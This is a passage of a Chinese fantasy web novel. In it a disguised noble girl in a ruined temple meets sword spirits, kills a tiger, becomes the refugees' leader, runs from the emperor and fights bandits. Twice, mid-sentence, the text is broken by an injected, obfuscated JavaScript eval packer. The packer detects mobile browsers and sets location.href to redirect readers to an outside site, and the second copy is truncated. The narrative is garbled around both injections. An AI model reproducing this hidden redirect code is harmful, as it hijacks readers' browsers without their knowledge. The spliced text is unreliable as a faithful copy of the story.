小丫见势不妙,脸一阵红一阵白,最后跺了跺脚,转身冲回庙里。张婆子也讪讪地跟了进去。 “好啦好啦,”李婆婆打圆场,“都大半夜了,回去睡吧。明天还要干活呢。” 众人陆续散去。大李临走前拍拍闻歌的肩膀,低声道:“小哥,不管你有什么难处,这儿是你的家。” 闻歌鼻子一酸,重重点头。 重新躺回草铺时,已是后半夜。 闻歌睁着眼,毫无睡意。皇后的手已经伸到这里来了。那个黑衣人——张天师,不过是探路的石子。真正的麻烦,还在后头。 她翻了个身,手指触到枕下的桃木剑。剑身冰凉,上面的符文在黑暗中隐约泛着微光。 正想着,耳边忽然传来细碎的说话声。 第一个声音稚嫩清脆:“张天师被主人打得屁滚尿流,真解气!” 第二个声音憨厚:“要不是大伙儿起来了,我看他门牙都得掉几颗。” 第三个声音活泼:“那以后喝粥可就方便了——‘无齿下流’嘛!” 第四个声音带着怒气:“他偷看过主人换衣服!本来就已经够下流了!” 第五个声音好奇:“你们说,主人要是知道被他偷窥过,会怎么样?” 第一个声音嘿嘿一笑:“那他现在就该和我一样,是个鬼了。” 五个声音同时发出低低的笑声,在寂静的夜里格外清晰。 闻歌全身僵住。 这不是梦。 她能清楚地感觉到,有五个“东西”就在她身边——不,更准确地说,是依附在那柄桃木剑上。它们的气息很弱,若非她功力深厚,根本察觉不到。 “他答应主人不再来了,你们信吗?”第二个声音问。 “我信他个鬼!”第三个声音愤愤,“那糟老头子坏得很!” “得再整整他!”第四个声音说。 “必须整!看他以后还敢不敢收咱们!”第五个声音附和。 闻歌慢慢睁开眼睛。 月光从窗缝漏进来,照在桃木剑上。剑身隐约浮现出五道极淡的影子,像水墨在宣纸上晕开,依稀能辨出人形。 她轻轻伸出手,指尖触到剑身。 五个声音戛然而止。 “你们……”闻歌压低声音,“是谁?” 一片死寂。 良久,第一个声音怯怯响起:“主、主人能听见我们?” “能。”闻歌坐起身,将桃木剑捧在手中,“你们一直在这剑里?” 五道影子在剑身上轻轻波动,像是点头。 “我们是剑灵。”第二个声音解释,“被困在这桃木剑里,已经……记不清多少年了。” “张天师想用这剑收我们,”第三个声音气鼓鼓的,“结果反被我们困住了!” “所以你们是故意让他把剑‘掉’在这里的?”闻歌问。 五个影子同时晃了晃,像是在偷笑。 “主人聪明!”第四个声音说,“我们感觉到主人身上有灵气,想着……或许能帮我们解脱。” 闻歌摩挲着剑身上的符文。这些符文年代久远,笔法古拙,确实有禁锢之效。她沉吟片刻:“我该怎么帮你们?” 五个影子沉默了。 最后还是第一个声音开口:“我们……也不知道。只是觉得主人特别,或许有办法。” 特别? 闻歌苦笑。她不过是机缘巧合得了些造化,自己都还在迷雾中摸索,哪有什么本事帮别人? 但看着剑身上那五道微弱的影子,她还是轻声道:“我试试。” 五个影子欢快地颤动起来。 “谢谢主人!” “主人最好了!” “我们一定乖乖的!” “再也不吵主人睡觉了!” 闻歌被它们逗笑了。这些“剑灵”心性单纯,倒像五个孩子。 她将桃木剑小心放回枕下,重新躺下。睡意终于袭来,闭眼前,她迷迷糊糊地想: 这世上,人有时候比鬼可怕,鬼有时候比人单纯。 皇后、张天师、破庙里的众人、这五个剑灵……真真假假,善善恶恶,谁能说得清呢? 窗外的雪,又悄悄下了起来。 21. 第 21 章 “别吵……本姑娘要睡觉……” 闻歌闭着眼嘟囔,语速飞快,吐字含糊,翻个身又裹紧了破被子。 窗外天光已大亮,破庙里众人早已起身忙碌。只有她这靠窗的角落,还沉浸在一片安宁里——如果忽略枕下那把桃木剑里,五个小鬼的窃窃私语的话。 “鬼大,”稚嫩的声音压得极低,“咱们到底什么时候告诉主人,咱们的存在啊?” “直接蹦出来,站在她面前自我介绍呗!”憨厚的声音提议。 “那还不把她吓死?”活泼的声音反对。 “我们长得这么英俊,怎么会吓着她?”第四个声音不服气。 “不行不行,”第五个声音谨慎,“万一吓着了,以后给咱们穿小鞋怎么办?” 五个影子在桃木剑里挤来挤去,剑身在枕下微微颤动。 “再吵……我灭了你们……”闻歌又嘟囔一句,眼睛都没睁。 五个小鬼顿时噤声。 半晌,鬼大才小声说:“等等吧……找个好时机……” 这一等,就等到了日上三竿。 闻歌是被一道专注的视线“盯”醒的。她一睁眼,就看见小姑娘趴在床边,双手托腮,眼睛睁得圆溜溜的,一眨不眨地看着她。 “干嘛这么看着我?”闻歌揉揉眼睛,声音还带着睡意。 “小哥,你醒了。”小姑娘歪着头,“我刚才看着看着,觉得你……像个姐姐。” 闻歌心头一跳,面上却笑:“是吗?可我是男孩子哦。” “有点不像。”小姑娘依然认真地看着她,黑亮的眼睛里满是探究,“你的睫毛好长,皮肤也白,说话声音也好听……” “你呀,人小鬼大。”闻歌坐起身,伸手揉了揉小姑娘乱糟糟的头发,“一天到晚不知道在想什么。” 小姑娘也不躲,反而凑近些:“小哥,你饿不饿?我去给你端饭。” 不等闻歌回答,她已经蹦跳着跑到灶边,小心翼翼地端来一碗还温热的粥——说是粥,其实稀得能照见人影,里面飘着几片菜叶。 “这么懂事。”闻歌接过碗,心里暖融融的。 “小哥,”小姑娘在她身边坐下,小声说,“今晚我就睡这儿了。” 闻歌一愣:“小丫呢?” “她说怕你了。”小姑娘压低声音,“说你半夜总说梦话,叽里咕噜不知道说什么‘鬼’话。她跟我换了位置,睡我那儿去了。” 闻歌手一僵:“我说梦话了?” “嗯。”小姑娘点头,“说了好几回呢。我听见你说‘别吵’,‘灭了你们’什么的……” 闻歌心中了然——定是那五个小鬼夜里聒噪。她面上却故作茫然:“我总觉得有什么东西在耳边嗡嗡嗡说个不停,吵得人睡不安稳。” “你太想家了。”小姑娘认真地说。 想家? 闻歌捧着碗,有一瞬间的恍惚。她想家吗?丞相府那个冰冷的家,还是皇宫那个囚笼般的“家”?她都不想。在这里,在这破庙里,穿着破鞋,端着破碗,想睡就睡,想起就起,一双脚走天下,一根棍闯四方——这才叫潇洒。 可这些话不能说。她只能垂下眼,望着碗里稀薄的粥,长长叹了口气:“我命苦啊……” 声音里带着恰到好处的哽咽。 小姑娘立刻紧张起来:“小哥……” “日日夜夜,梦见爹娘的模样,”闻歌抬眼望向窗外,眼神空洞,“梦见伺候我的丫鬟,还有那个……那个经常被我欺负的黄公子。” 她顿了顿,声音更低了:“那时我的生活多安逸,多幸福。爹娘说,等我考取功名,光耀门楣……可现在,什么都没了。” 这话七分假三分真。假的是那些细节,真的是那种无家可归的飘零感。 果然,小姑娘眼圈红了。她伸出小手,轻轻握住闻歌的手:“小哥,你没亲人,我也没亲人……要不,你以后就做我的亲哥哥吧?你去哪里,我就跟着你去哪里。” 闻歌看着孩子真诚的眼睛,心里忽然有些愧疚。 我是不是太坏了?她想着。动不动就装可怜,博同情,骗这么个单纯的孩子。 可转念一想,自己虽说了谎,但待她是真心的。这乱世里,能互相取暖,也算一桩善事。 “好。”闻歌反握住小姑娘的手,温声说,“我正好也想要个妹妹。以后,我就叫你小妹。” “小妹!”小姑娘眼睛亮了,开心地重复,“小哥,小妹——一听就是亲兄妹!” 两人相视而笑。阳光从破窗棂照进来,在尘土飞扬的空气里投下一道光柱。 “今天咱们找点什么乐子呢?”闻歌喝完粥,把碗放到一边。 小妹眼睛一转:“小哥,你会打猎吗?” “打猎?”闻歌挑眉,“不会可以学啊。” 心里想的却是:打猎?打人我都会。这世上,还真没多少本姑娘不会的事。 “那咱们去后山打猎吧!”小妹跃跃欲试,“我见过大李哥打野兔,可厉害了!” “行。”闻歌爽快应下。 两人说干就干。闻歌找来庙里公用的弓箭——一把粗制的木弓,几支秃了羽毛的箭。她又从墙角拿了把柴刀别在腰间,小妹则提了个竹筐,说是装猎物用。 刚走到庙门口,就被李婆婆拦住了。 “你们拿着弓箭,这是要干嘛去?”李婆婆看着两人这架势,眉头皱得能夹死蚊子。 “我和小哥去打猎!”小妹抢着回答,小脸上满是兴奋。 “打猎?”李婆婆声音都拔高了,“你们不要命了?后山有野兽,可不是闹着玩的!不许去!” 闻歌上前一步,温声解释:“李婆婆,没关系的,我会照顾好小妹。” “你会照顾?”李婆婆急得跺脚,“那些野畜凶猛得很!去年王家庄的猎户,就是被野猪拱了,抬回来时肠子都流出来了!” 这话说得血腥,小妹吓得缩了缩脖子。 “李婆婆,你就爱管闲事。”张婆子不知什么时候凑了过来,阴阳怪气地说,“小哥这么能抓鱼,肯定也能打猎。你总拦着,他以后怎么自立?” 小丫也跟过来帮腔:“就是。人家小哥本事大着呢,用不着咱们操心。” 闻歌瞥了两人一眼。张婆子嘴角那抹幸灾乐祸的笑,小丫眼里闪过的算计,她都看得分明。这两人巴不得她进山遇险呢。 “你们给我闭嘴!”李婆婆气得发抖,“没安好心的东西!” “李婆婆,”闻歌握住老人的手,认真地看着她,“您要相信我。我们就在山外围转转,不往深里去。遇到危险,我们立刻就跑。” “李婆婆,你就让我们去吧……”小妹也拉着李婆婆的衣角撒娇。 两人软磨硬泡,李婆婆终于松了口:“……那你们千万小心,太阳落山前必须回来!” “知道啦!” 话音未落,闻歌已拉着小妹跑出老远。 李婆婆望着两人消失在林间的背影,忧心忡忡地叹了口气。身后,张婆子和小丫交换了个眼神,嘴角都浮起冷笑。 后山深处有猛虎出没,她们是知道的。 最好……让那“小哥”永远别回来了。 一进山林,闻歌和小妹就把李婆婆的叮嘱抛到了脑后。 起初还在外围转悠,可找了半天,只见到几只瘦巴巴的松鼠。小妹有些泄气:“小哥,是不是野兽都知道咱们要来,全躲起来了?” 闻歌观察着地上的痕迹,摇头:“外围人迹多,野兽不敢来。咱们往深处走走。” “可李婆婆说……” “放心,有我在。”闻歌握住小妹的手。 她的手温暖而稳定,小妹忽然就不怕了。 两人往山林深处走去。参天古树遮天蔽日,阳光只能从枝叶缝隙漏下斑驳光点。地上积着厚厚的落叶,踩上去软绵绵的,寂静中只听见自己的脚步声和呼吸声。 “小哥,”小妹越走越慢,小手紧紧抓着闻歌的衣角,“咱们是不是……迷路了?” 周围景色越来越陌生。古树盘根错节,藤蔓垂落如帘,偶尔传来不知名鸟类的怪叫,在空旷的林间回荡。 闻歌停下脚步,侧耳倾听。 风声,鸟鸣,落叶的沙沙声……还有,极远处,某种沉重而规律的呼吸声。 她蹲下身,仔细查看地面。松软的泥土上,有几个清晰的爪印——碗口大小,深深陷入土中,前端有五趾。 虎爪印。 闻歌心头一凛,面上却不动声色:“小妹,你听我说。接下来不管发生什么,你都不要出声,跟紧我,明白吗?” 小妹被她严肃的语气吓到,用力点头。 闻歌解下背上的弓,抽出一支箭搭在弦上。她拉着小妹,沿着爪印的方向,悄无声息地向前移动。 每走一步,空气中的压迫感就重一分。林间的鸟鸣不知何时消失了,连风都静止了。一种被注视的感觉,从密林深处传来。 “吼——” 震耳欲聋的虎啸毫无预兆地炸开! 树叶簌簌落下,地面仿佛都在震颤。密林深处,一双琥珀色的眼睛在阴影中亮起,接着是斑斓的皮毛,健硕的身躯——一头吊睛白额猛虎踱步而出,身长足有七八尺,肌肉在皮毛下起伏,每走一步都带着百兽之王的威压。 小妹双腿一软,差点瘫倒在地。闻歌一把将她拉到身后,自己则挺直脊背,与猛虎对峙。 虎目炯炯,锁定着眼前这两个闯入领地的人类。它伏低前身,喉中发出威胁的低吼,后腿肌肉绷紧——那是扑击的前兆。 时间仿佛凝固了。 闻歌屏住呼吸,手指稳稳扣住弓弦。她曾在皇家围场见过虎,也读过无数猎虎的记载,但真正面对面,这是第一次。 不能慌。她告诉自己。虎扑击时,会有一个瞬间的腾空——那是唯一的机会。 猛虎动了! 它后腿猛蹬,庞大的身躯凌空跃起,带起腥风,直扑而来! 就是现在! 闻歌眼神一厉,弓弦瞬间拉满——“嗖!” 箭矢破空,化作一道黑线,精准地没入猛虎颈侧! “吼——”猛虎发出一声痛苦的嘶吼,扑势一滞,重重摔在地上。它挣扎着想站起来,可箭矢伤到了要害,鲜血汩汩涌出,力气迅速流失。 闻歌没有松懈。她又搭上一支箭,瞄准虎头,随时准备补上一击。 但猛虎只是在地上抽搐了几下,琥珀色的眼睛渐渐失去神采,最终不动了。 林间恢复了寂静。 小妹从闻歌身后探出头,看着地上那只庞然大物,小嘴张成了圆形:“小、小哥……你……你射死了老虎?” 闻歌这才松开弓弦,手心全是汗。她走到虎尸旁,蹲身查看。箭从颈侧入,贯穿咽喉,一击毙命— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992190|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —这是她多年练箭的成果,也是生死关头爆发出的潜能。 “没事了。”她回头冲小妹笑笑,声音有些哑。 小妹跑过来,紧紧抱住她的腰,哇的一声哭出来:“吓死我了……我还以为我们要被吃了……” 闻歌轻轻拍着她的背,目光却落在密林深处。 刚才那一箭,用了她七成功力。若在从前,这不算什么。可如今这身体……她看着自己微微发颤的手,心里清楚:皇后的人若真追来,现在的自己,未必能全身而退。 四、名声初起 闻歌和小妹拖着虎尸回到破庙时,太阳刚刚西斜。 庙门口,李婆婆正焦急地张望。当她看清两人身后拖着的庞然大物时,整个人僵在原地,手里的木盆“哐当”掉在地上。 “这、这是……”她声音发颤。 “老虎!”大李闻声出来,倒吸一口凉气,“我的老天爷!小哥你……你打的?” 破庙里的人全涌了出来。张婆子和小丫挤在人群里,看着那只死虎,脸色白得像纸。 “真是老虎……” “这么大!” “小哥一个人打的?” “太神了……” 众人议论纷纷,看向闻歌的眼神全变了——从前是好奇,是猜疑,现在则多了敬畏,甚至崇拜。 闻歌把虎尸放在空地上,抹了把脸上的汗:“运气好,正巧射中了要害。” 这话没人信。射中奔跑中的猛虎要害,岂是“运气”二字能解释的? 当晚,破庙前燃起篝火。虎肉被分割开来,一部分当晚烤了吃,一部分用盐腌了储存。虎皮被完整剥下,晾在庙墙上,斑斓的花纹在火光中泛着油光。 这是破庙建成以来,最丰盛的一晚。烤虎肉的香气飘出老远,连附近村庄的人都闻讯赶来,想看看打死猛虎的英雄。 “听说是个少年郎,一箭射穿了老虎的脖子!” “真的假的?” “我亲眼看见的!那虎皮就挂在破庙墙上呢!” 消息像长了翅膀,一夜之间传遍了玉郎县。 从那天起,破庙的门槛几乎被踏破。四里八乡的难民、乞丐、甚至一些走投无路的贫民,都慕名而来。他们听说这里有个“小哥”,能抓鱼,能打虎,跟着他,或许能有条活路。 短短几日,破庙里挤了不下五十人。原本清静的日子一去不复返,每天人声鼎沸,吵吵嚷嚷。 人多了,问题也来了。粮食不够分,住处不够住,谁该干活,谁该休息,吵得不可开交。 这日晚饭后,李婆婆把几个老人聚在一起,忧心忡忡地说:“再这样下去不行。人太多,没个规矩,迟早要乱。” 大李点头:“是啊。昨天就有人为半碗粥打起来了。” “得立个规矩。”老陈头抽着旱烟,“推个首领出来,分配活儿计,定下章程。” 这个提议很快传开了。 “推选首领?”小丫眼睛一亮,“我觉得这个主意好!” 张婆子也来了精神:“对,是该推个首领。无规矩不成方圆嘛。” 两人心里都打起了小算盘——她们是本地人,在破庙待得久,说不定有机会。 可当众人围坐下来,开始讨论时,风向却完全不对。 “我直接推小哥!”一个刚来三天的汉子率先开口,“我就冲他来的!他能带咱们活下去!” “对!推小哥!” “我也支持小哥!” “除了他,还有谁配当这个首领?” 呼声一浪高过一浪。新来的人几乎全站在闻歌这边——他们是慕名而来,自然希望“名”本人来领导。 张婆子和小丫的脸色越来越难看。 “等等!”张婆子站起来,提高声音,“小哥是外地人,对本地情况不熟悉。要我说,还是推个本地人合适。” 稀稀拉拉有几个人附和——都是原先就在破庙的老人。 小丫赶紧帮腔:“是啊。推选首领不是小事,要能统领全局才行。小哥年纪轻,怕是……不够稳重。” 这话说得委婉,意思却明白:嫌闻歌太年轻,担不起责任。 李婆婆看不下去了:“外地人怎么了?咱们这儿有什么需要特别熟悉的?能带大家活下去,能解决问题,这就是本事!小哥的能力,大家有目共睹!遇到事情,他点子多,总能化解——我看他就很合适!” 两边争执不下。 闻歌坐在人群外围,静静听着。火光映着她的侧脸,明暗交错。 她本无意当什么首领。来破庙,只为暂时栖身,躲避追捕。等找到能拔神刀的人,或是寻到修仙的门路,她就会离开。 可现在……看着那一张张期盼的脸,看着小妹紧紧挨着她的依赖模样,她忽然有些动摇。 这乱世里,每个人都在挣扎求存。若她有能力,拉这些人一把,算不算一桩功德? 可若真当了首领,责任就大了。这么多人的吃喝拉撒,安全生计,都要她来操心。更重要的是——一旦成了“头儿”,目标就大了,皇后那边…… 正思忖间,庙门外忽然传来喧哗声。 一个满身血污的汉子跌跌撞撞冲进来,嘶声喊道:“不好了!官兵……官兵来抓人了!说咱们这儿聚众闹事,要全部抓走!” 破庙里瞬间死寂。 所有人的目光,齐刷刷投向闻歌。 22. 第 22 章 “英雄不问出处,好汉不论岁数!” 大李站起身,洪亮的声音压过庙里的嘈杂。火光映着他憨厚的脸,那双常年劳作的手在空中用力一挥:“小哥能文能武,机灵聪慧,再难的事儿到他手里,都能‘四两拨千斤’!平日里他看起来闲散,可你们想想——哪次不是他关键时候想出法子,救了急?” 这话戳中了不少人的心。有人点头,有人低声附和。 小姑娘挤到人群前面,小脸因为激动而泛红:“小丫和张婆子做事只想着自己,怎么能和小哥比?小哥心地善,点子多,心胸宽!他能抓鱼,能打虎,有他在,咱们才有安全感和归宿感!我第一个支持小哥做首领!” “说得好!”一个刚来不久的汉子拍腿赞同,“我也是外地的,听着某些话就觉得不中听——怎么,外地人就不配当首领?我不管,我只认小哥!” “我只认小哥!” “我也只认小哥!” 呼声一浪高过一浪。原本支持张婆子的那几个老人,见大势已去,也讪讪地改了立场。 张婆子和小丫站在人群边缘,脸色一阵青一阵白。小丫咬着嘴唇,手指死死揪着衣角;张婆子则别过脸去,从鼻子里哼出一声。 闻歌坐在火堆旁,看着这一切,心里五味杂陈。 她本无意当什么首领。来破庙只为暂避风头,心里惦记的是那柄无人能拔的神刀,是渺茫的修仙之路。自由自在,无拘无束,这才是她想要的。 可现在,五十多双眼睛齐刷刷看着她,那些眼睛里装着期盼、信任,甚至崇拜。这些在乱世里挣扎求存的人,把她当成了救命稻草。 “谢谢大家抬爱。”闻歌站起身,拍了拍衣摆上的草屑,“只是……我这人散漫惯了,怕担不起这么大的责任。首领之位,还是另选贤能吧。” 庙里瞬间安静下来。 “小哥……”小姑娘扯了扯她的衣袖,眼圈红了,“你就答应吧。你不做,没人能做。到时候大家离心,乱成一团,不是更麻烦吗?” 李婆婆也颤巍巍走过来,握住她的手:“孩子,能力越大,责任越大。这是你的缘法,也是大家的福分。” 闻歌看着老人粗糙的手,看着小妹眼里的泪光,看着众人期盼的神情,心里那堵墙慢慢松动了。 罢了。她暗叹一声。修仙问道是渡众生,眼下这些活生生的人,不也是众生吗? “好。”她终于点头,“我答应。” 破庙里爆发出欢呼声。 那一晚,闻歌第一次以“首领”的身份,将所有人分成四队:青壮男丁为“巡守队”,负责安全和狩猎;妇女老弱为“后勤队”,负责炊事、缝补、照料;年轻力壮的妇人和半大孩子为“采集队”,负责野菜、柴火;还有一支“机动队”,专司应急和联络。 每队设正副领队三人,互相监督,定期轮换。实行计分制——出力多、贡献大的加分,偷懒耍滑的扣分。月末按分领粮,公平公开。 规矩一定,破庙里的秩序肉眼可见地好了起来。往日争吵少了,互相帮衬多了。闻歌还带着几个懂泥瓦的,将破庙漏风的地方修补一番,又在外围扎起篱笆,设了哨岗。 时间在忙碌中悄然流逝。积雪融化,枝头冒出嫩芽,春天来了。 “小哥,我好久没进城了。”这日早饭时,小妹蹭到闻歌身边,拉着她的衣袖晃啊晃,“你陪我去逛逛,好不好?” 闻歌本想拒绝——城中人多眼杂,万一被认出来……可看着小妹期盼的眼神,她心软了。 “好,答应你。” 两人仍穿着那身破衣烂衫,脸上抹了灰,混在进城的人流里。可一进城,就觉出不对。 街上官兵比平日多了数倍,一个个面色冷厉,佩刀出鞘。他们粗暴地驱赶着街边的乞丐和难民,稍有迟缓便拳脚相加。 “滚!全部滚出城!” “皇上御驾将至,闲杂人等一律清退!” “再不走,格杀勿论!” 哭喊声、呵斥声、求饶声混成一片。闻歌看见一个老乞丐因为腿脚慢,被官兵一棍打在背上,惨叫倒地。 “那边还有两个!”一个官兵指向她们。 “不好,快跑!”闻歌拉起小妹,掉头就往城外冲。 两人在混乱的人流中左冲右突,好不容易挤到城门口。那里已经堵成一团,官兵挥着棍棒驱赶人群,哭喊震天。 冲出城门老远,闻歌才敢停下喘气。路边蹲着一个面生的乞丐,她上前打听:“老哥,今天这是怎么了?” 乞丐抬眼,见是同道中人,压低声音:“听说皇上要路过这儿,方圆五十里的乞丐难民都得赶走……已经打死好几个了。” 闻歌心头火起:“往哪儿赶?” “谁知道呢,反正不让待。”乞丐摇头叹气,“快跑吧,被抓到真会没命的。” 昏君!闻歌咬牙。这些难民乞丐碍着你什么了?你要这样赶尽杀绝?想起皇叔赈灾时的亲民模样,再对比眼下这残暴行径,她只觉得讽刺——同是皇室,天壤之别。 五十里……破庙就在这个范围内! 她心下一紧,正要拉小妹赶回去,忽然听见身后传来马车声。 林间小道上,一辆青篷马车缓缓停下。仆人摆好脚凳,掀开车帘,一道身着月白锦袍的身影弯腰下车。 春风拂过,掀起那人额前碎发,露出一张清俊而熟悉的脸。 闻歌全身血液瞬间凝固。 皇上?! 她下意识想躲,可已经迟了——那人抬眼,目光穿过稀疏的林木,精准地落在她脸上。 四目相对。 时间仿佛静止了一瞬。 “闻歌——”皇帝开口,声音不大,却带着不容错辨的威严,“你给朕站住。” 两侧侍卫“唰”地拔刀,护在皇帝身前。 闻歌大脑一片空白,身体却先于意识做出反应——她弯腰捡起一块拳头大的石头,用尽全身力气,朝着那张脸狠狠掷去! 石头划破空气,带出尖啸。 “护驾!”侍卫首领挥刀格挡,“铛”的一声,石头被劈飞,砸在旁边树干上,留下个深坑。 趁这空隙,闻歌拉起吓呆的小妹,一头扎进密林深处。 侍卫欲追,皇帝抬手制止:“不必。她跑不了。” 他望着闻歌消失的方向,唇角勾起一抹玩味的笑。三个月了,这丫头居然躲在这里,还扮成这副模样……有意思。 一路狂奔,直到确认身后无人追赶,闻歌才敢停下。她靠着一棵树大口喘气,心脏在胸腔里狂跳。 “小哥……”小妹的声音在发抖,“你、你就是闻歌吧?” 闻歌僵住。 “你就是皇上钦点的安国郡主?”小妹后退半步,眼睛瞪得圆圆的,“你就是……大家说的那个‘妖女’?” “我不是妖女。”闻歌转身,看着孩子惊恐的脸,心里像被什么揪紧了。隐瞒了这么久,终究还是瞒不住。 “那你为什么骗我们?”小妹的声音带上了哭腔,“你骗了所有人……” 她松开闻歌的手,一屁股坐在路边的石头上,双手抱膝,把脸埋进臂弯里。 闻歌蹲下身,想碰碰她的肩,手伸到一半又停住:“小妹,你听我说。洪水和我没关系,我没有害过人。我也不是皇上的妃子——刚才你也看见了,我恨不得一石头砸死他。” 小妹不动,肩膀微微发抖。 “我骗你,是因为……如果我说出真实身份,你们所有人都那么恨‘闻歌’,我可能连破庙都待不下去。”闻歌的声音低下去,“我一直想找机会告诉你,可不知该怎么开口……” 她伸手,轻轻摸了摸小妹的头:“以后我再也不骗你了,好吗?” 良久,小妹抬起头,眼圈红红的:“你发誓?” “我发誓。” “那……你为什么不在丞相府做郡主?” “我不喜欢那里的生活。规矩太多,一句话说错就可能丢命。” “为什么女扮男装?” “女儿身在外不方便。” “皇宫漂亮吗?” “漂亮。” “京城繁华吗?” “繁华。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992191|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我想去看看。” 闻歌笑了:“等这一切结束了,我带你去看。” “真的?”小妹眼睛一亮。 “真的。” “拉勾!”小妹伸出小指,“不许变,谁变谁是小狗!” 两根小指勾在一起,晃了三晃。春风穿过林间,吹动两人的衣摆,也吹散了方才的隔阂。 两人紧赶慢赶回到破庙附近时,日头已开始西斜。 还没走近,就听见一片混乱的哭喊声: “不好啦!杀人啦!” “土匪!是土匪!” “快跑——” “救命啊——” 闻歌心头一沉,抬眼望去——破庙方向浓烟滚滚,人影杂乱奔逃。 “你待在这儿。”闻歌将小妹推到一棵大树后,“如果情况不对,马上往林子里跑,不要等我。” “不行!”小妹抓住她的手,“你说过我去哪你就去哪!” “现在不行!”闻歌难得严厉,“他们是土匪,杀人不眨眼。你跟着我,我反而要分心保护你。” “可……” “听话!”闻歌握了握她的手,转身冲向破庙。 没跑多远,迎面撞上逃出来的人群。李婆婆、小丫、张婆子带着一群妇孺冲出来,个个满脸惊恐。 “大李呢?”闻歌抓住李婆婆。 “他、他带着男人们在挡土匪……”李婆婆喘得厉害,“让我们先跑……” 闻歌心一横:“您带小妹往后山跑,我去救他们!” “别去!”李婆婆想拉她,可闻歌已经像箭一样射了出去。 破庙前的空地上,惨状触目惊心。 二十几个黑衣土匪手持刀棍,正对难民进行屠杀。地上已经躺了七八具尸体,鲜血浸透泥土。大李带着十几个青壮汉子拼死抵抗,可他们只有简陋的农具,对方却是真刀真枪,完全处于下风。 闻歌眼睛红了。 她弯腰捡起地上一根碗口粗的木棍,脚下发力,整个人如猎豹般扑入战团! “砰!”一棍砸在土匪后脑,那人哼都没哼就倒了下去。闻歌夺过他手中的刀,反手一划,另一个扑上来的土匪捂着脖子倒地。 动作干净利落,招招致命。这是她在无数次生死搏杀中练出的本事,此刻毫无保留地施展出来。 连杀五人,土匪们终于意识到这个“乞丐”不简单。他们停下攻势,围着闻歌,眼神惊疑不定。 “你们快走!”闻歌横刀身前,对身后众人大喝,“我断后!” “小哥,我帮你!”大李捂着右臂的伤口——那里被划开一道深可见骨的口子,鲜血直流。可他仍咬着牙,举着锄头站到闻歌身边。 “我也留下!” “跟他们拼了!” “反正不给我们活路,死也要拉个垫背的!” 十几个汉子没有一个人退缩。他们握着简陋的武器,站成一排,挡在妇孺逃往山林的方向。 闻歌看着这些朝夕相处的人,看着他们脸上豁出去的神情,胸腔里有什么东西热辣辣地涌上来。 这些人是难民,是乞丐,是这乱世里最卑微的存在。可此刻,他们挺直的脊梁,比那些锦衣玉食却视人命如草芥的贵人,高贵百倍。 土匪头子是个疤脸大汉,他盯着闻歌,忽然咧嘴笑了:“小娘子身手不错啊。跟着这群叫花子可惜了,不如跟爷上山,保管你吃香喝辣——” 话音未落,闻歌的刀已经到了他面前! 疤脸大惊,仓促举刀格挡。“铛”的一声巨响,他被震得连退三步,虎口崩裂,鲜血直流。 “给我上!宰了这娘们!”疤脸恼羞成怒。 十几个土匪一拥而上。 闻歌深吸一口气,将刀横在身前。阳光照在染血的刀锋上,反射出刺眼的光。 她想起师父说过的话:修仙先修心,渡人先渡己。今日这一战,不为功名,不为富贵,只为身后这些把她当“家人”的苦命人。 刀光起,血花溅。 春天的风里,第一次染上了铁锈般的腥气。 23. 第 23 章 ##一、血战破庙 刀锋在暮色中划出冷冽的弧线。 闻歌横刀挡在破庙门前,身后是瑟瑟发抖的妇孺,身前是二十几个狞笑的土匪。她衣袂沾血,发丝凌乱,可那双眼睛亮得惊人,像淬了火的星子。 “你是何人?报上名来!”为首的土匪虽在喝问,握刀的手却不自觉地发颤——这少年模样的乞丐,身上竟有种沙场悍将才有的杀气。 闻歌挽了个刀花,血珠顺着刀尖滴落:“大爷我就是下河擒蛟、上山打虎的小哥。怎么,没听过?” “小、小哥?!”几个土匪同时后退半步,相互交换着惊恐的眼神。 “你就是那个……一箭射死猛虎的小哥?” “正是在下。”闻歌挑眉,故意拖长了调子,“今日你们运气不好,碰上了我。” 一个年轻土匪嘴硬道:“今日我们大哥不在,否则定叫你——” “叫我怎样?”闻歌截断他的话,心中一动,“你们大哥……是何方神圣?说出来,兴许我认识。” 那土匪不察,得意道:“我大哥可是有名的大盗,毒——” “住口!”旁边的同伙狠狠扇了他一耳光,“大哥怎么交代的?祸从口出!” 毒? 闻歌心头剧震。一个名字几乎脱口而出——毒狼! 可那人明明已伏法问斩…… 她压下惊疑,冷笑道:“毒什么?莫非是见不得光的鼠辈,连名号都不敢报?” “少废话!”土匪头子恼羞成怒,“兄弟们,上!他就一个人,怕什么!” 二十余人一拥而上。 这一次,闻歌没有再留手。 大李倒在血泊中的画面还在眼前——那个憨厚的汉子,临死前还握着她的手说“要带好大家”。他的血还是温的,他的眼睛还没闭上。 仇恨像野火燎原。 闻歌的身影在刀光剑影中穿梭,快得只剩残影。她手中的刀不再是刀,是索命的厉鬼,每一击都精准地切入要害。惨叫声此起彼伏,土匪一个接一个倒下。 可难民们也倒下了不少。 这些手无寸铁的苦命人,在屠刀面前毫无还手之力。闻歌拼命想护住每一个人,可她只有一双手,一把刀。 “小哥……小心!” 大李的嘶吼从身后传来。闻歌回头,只见一个土匪的刀已刺穿他的胸膛。 时间仿佛凝固了。 闻歌眼睁睁看着大李口中涌出血沫,看着他高大的身躯缓缓跪倒。她像疯了似的扑过去,一刀劈开那个土匪的天灵盖,伸手接住大李倒下的身体。 